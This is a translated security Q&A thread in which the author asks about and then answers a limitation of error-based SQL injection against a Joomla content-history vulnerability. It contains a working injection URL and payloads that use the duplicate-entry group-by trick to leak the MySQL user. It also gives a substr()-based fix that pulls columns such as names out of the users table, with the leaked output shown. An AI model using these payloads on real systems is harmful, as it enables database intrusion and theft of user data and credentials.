¿Por qué la inyección de SQL basada en errores solo funciona con campos certan?

1

Actualmente estoy investigando la última vulnerabilidad que afecta a Joomla CMS.

Puede encontrar aquí hay una descripción de la vulnerabilidad , sin embargo, mi pregunta es simplemente sobre inyecciones de SQL basadas en errores y es independiente del contexto.

  • La URL base que utilizo para acceder a la vulnerabilidad es:

    https://example.com/index.php?option=com_contenthistory&view=history&list[select]=SQL_INJECTION_HERE
    
  • La inyección que uso está en la forma:

    (select col.a Array from (select count(*), concat(0x3a, 0x3a, (select user()), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns,  jml_users  group by a) col) ,'A' union select uc.id
    

El ejemplo anterior funciona bien: ejecutarlo un poco produce aleatoriamente Subquery returns more than 1 row y los mensajes de error esperados Duplicate entry '::joomla@localhost::0' for key 'group_key' que pierden al usuario de MySQL usado por Joomla :)!

Sin embargo, no puedo acceder a todo el contenido de la base de datos. Algunos campos siempre producirán el Subquery returns more than 1 row y nunca filtrarán la información que contienen.

Esta limitación es reproducible cuando se conecta directamente a un indicador de MySQL.

No encontré ninguna descripción de esta limitación (bastante molesta) en los artículos que leí sobre el tema. ¿Es algo conocido? ¿Es específico para mi versión de MySQL (5.6.14-enterprise-commercial-advanced)? ¿Hay alguna solución?

    
pregunta WhiteWinterWolf 28.10.2015 - 17:36
fuente

1 respuesta

1

Aquí están las solicitudes de trabajo que utilizan esta inyección y las que no, asociadas a sus tipos de columna:

Lo que funciona:

  • Usando funciones internas de MySQL como users() , database() , etc.
  • Usar variables del sistema como @@version , etc.
  • Accediendo a contenidos de columnas de tamaño corto como estos, todos desde la tabla *_users : *id ( int (11) ), email ( varchar (100) ), password ( varchar (100) ), registerdate ( datetime ), etc.

¿Qué funciona no ?

  • Accediendo a columnas de mayor tamaño como (aún pertenecientes a la tabla *_users ) name ( varchar (255) ), username ( varchar (150) ), params ( texto ), otpKey ( varchar (1000) ), etc.

Aquí queda claro que la cosa que mantiene que la inyección de SQL basada en errores funcione correctamente es el tamaño del campo (no importa el tamaño del contenido, la columna podría estar vacía).

La solución se vuelve clara: añada una llamada substr() a la inyección de SQL y ahora todo el contenido de la base de datos estará disponible :)!

http://example.com//index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(name,1,100) from jml_users limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id

500: entrada duplicada ':: Noob :: 1' para la clave 'group_key'

Propiedad :)! (Todavía me pregunto si esta limitación es general o está limitada a esta versión del servidor MySQL).

    
respondido por el WhiteWinterWolf 29.10.2015 - 12:52
fuente

Lea otras preguntas en las etiquetas